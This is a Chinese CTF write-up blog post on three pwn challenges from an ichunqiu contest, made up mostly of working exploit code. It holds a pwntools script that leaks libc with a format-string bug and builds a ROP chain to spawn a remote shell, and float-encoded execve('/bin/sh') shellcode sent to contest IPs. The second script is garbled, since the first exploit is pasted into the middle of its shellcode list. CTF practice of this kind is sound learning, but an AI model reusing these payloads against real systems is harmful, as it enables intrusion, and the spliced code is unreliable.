ichunqiu百度杯-十一月pwn专题

<–more–>

pwnme

一个溢出题,考点在于怎么去leak出system地址然后去构造rop,最后去getshell,题目整体思路还是很清晰的关键我,我还不会leak

这个题目还有一个printf的格式化洞,还可以通过这个去写去起shell,不过这种方法比较不优雅
学习了学习了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
import os, sys

# switches
DEBUG = 0

# modify this
if DEBUG:
io = process('./pwnme')
else:
io = remote("106.75.84.74", 10001)

if DEBUG: context(log_level='debug')
# define symbols and offsets here

# simplified r/s function
def ru(delim):
return io.recvuntil(delim)

def rn(count):
return io.recvn(count)

def ra(count): # recv all
buf = ''
while count:
tmp = io.recvn(count)
buf += tmp
count -= len(tmp)
return buf

def sl(data):
return io.sendline(data)

def sn(data):
return io.send(data)

def info(string):
return log.info(string)

def dehex(s):
return s.replace(' ','').decode('hex')

aoti_got = 0x601fa8
read_got = 0x601fb8
# define interactive functions here

# define exploit function here
def pwn():
ru('(max lenth:40):')
sl('%37$p')
ru('(max lenth:40):')
sl('111')

ru('>')
sl('1')
libc_start = int(rn(14), 16) - 240
info('libc_start :' + hex(libc_start))

read_libc = u64(rn(6).ljust(8, '\x00'))
info('read_libc :' + hex(read_libc))
system = libc_start - 0x7fabbb655a55 + 0x7fabbb6754f0
# e = ELF('.bc-64')
# system = libc_start - e.symbols['__libc_start_main'] + e.symbols['system']
info('system :' + hex(system))

ru('>')
sl('2')

ru('(max lenth:20):')
sl('123')
ru('(max lenth:20):')

buf = 0x602000
pay = '0' * 40
pay += p64(0x400ed1) # pop rsi, r15, ret
pay += p64(buf)
pay += p64(0)
pay += p64(0x400ed3) # pop rdi ret
pay += p64(0)
pay += p64(0x400730) # read_got
pay += p64(0x400ed3) # pop rdi ret
pay += p64(buf)
pay += p64(system)
sn(pay.ljust(0x110, '\x00'))

io.sendline('/bin/sh\x00')
io.interactive()
return

if __name__ == '__main__':
pause()
pwn()

loading

这个题目是某PCTF的题 关键的是去构造float 的shellcode
writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# -*-coding:utf-8-*-


import struct
import ctypes
from pwn import *

shellcode = ["\x31\xc9", # xor ecx, ecx
"\xf7\xe1", # mul ecx
"\x51", # push ecx
"\xb1\xff", # mov cl, 0xFF
"\xb5\xff", # mov ch, 0xFF
"\x41", # inc ecx
"\xb4\x68", # mov ah, 0x68
"\xb0\x73", # mov al, 0x73
"\xf7\xe1", # mul ecx
"\xb4\x2f", # mov ah, 0x2F
"\xb0\x2f", # mov al, 0x2F
"\x50", # push eax
"\xb4\x6e", # mov ah, 0x6e
"\xb0\x69", # mov al, 0x69
"\xf7\xe1", # mul ecx
"\xb4\x62", # mov ah, 0x62
"\xb0\x2f", # mov al, 0x2F
"\x50", # push eax
"\x31\xc0", # xor eax, eax#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
import os, sys

# switches
DEBUG = 0

# modify this
if DEBUG:
io = process('./pwnme')
else:
io = remote(sys.argv[1], int(sys.argv[2]))

if DEBUG: context(log_level='debug')
# define symbols and offsets here

# simplified r/s function
def ru(delim):
return io.recvuntil(delim)

def rn(count):
return io.recvn(count)

def ra(count): # recv all
buf = ''
while count:
tmp = io.recvn(count)
buf += tmp
count -= len(tmp)
return buf

def sl(data):
return io.sendline(data)

def sn(data):
return io.send(data)

def info(string):
return log.info(string)

def dehex(s):
return s.replace(' ','').decode('hex')

aoti_got = 0x601fa8
read_got = 0x601fb8
# define interactive functions here

# define exploit function here
def pwn():
ru('(max lenth:40):')
sl('%37$p')
ru('(max lenth:40):')
sl('111')

ru('>')
sl('1')
libc_start = int(rn(14), 16) - 240
info('libc_start :' + hex(libc_start))

read_libc = u64(rn(6).ljust(8, '\x00'))
info('read_libc :' + hex(read_libc))
system = libc_start - 0x7fabbb655a55 + 0x7fabbb6754f0
# e = ELF('.bc-64')
# system = libc_start - e.symbols['__libc_start_main'] + e.symbols['system']
info('system :' + hex(system))

ru('>')
sl('2')

ru('(max lenth:20):')
sl('123')
ru('(max lenth:20):')

buf = 0x602000
pay = '0' * 40
pay += p64(0x400ed1) # pop rsi, r15, ret
pay += p64(buf)
pay += p64(0)
pay += p64(0x400ed3) # pop rdi ret
pay += p64(0)
pay += p64(0x400730) # read_got
pay += p64(0x400ed3) # pop rdi ret
pay += p64(buf)
pay += p64(system)
sn(pay.ljust(0x110, '\x00'))

io.sendline('/bin/sh\x00')
io.interactive()
return

if __name__ == '__main__':
pause()
pwn()
"\x31\xd2", # xor edx, edx
"\x31\xc9", # xor ecx, ecx
"\x89\xe3", # mov ebx, esp
"\xb0\x0b", # mov al, 11
"\xcd\x80"] # int 0x80

ints_to_send = []

for instr in shellcode:
z = "\x40"
if len(instr) == 1:
z = "\x90\x40"
payload = "\x48" + instr[::-1] + z
a = struct.unpack(">f", payload)[0]*2333
if a > 2147483647:
log.error("It's too large fam.")

b = str("{0:f}".format(a)).split(".")[0]

log.info(b + " " + payload.encode("hex"))
ints_to_send.append(b)

r = remote("106.75.84.68", 20000)
for i in ints_to_send:
r.sendline(i)


r.interactive()

3.7z

这个题目就厉害了,居然有有一个backdoor,应该是题目设计者的问题吧,这个题目思路很简单,就是只要满足图下的check就可以拿到一个后门权限了

后门的逻辑是这样的,只要输入的满足

1
2
3
buf = ''
for i in range(len('useragent')):
buf += chr(i^ord('useragent'[i])

所以最后的exp是

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. pwnme
  2. 2. loading
  3. 3. 3.7z
,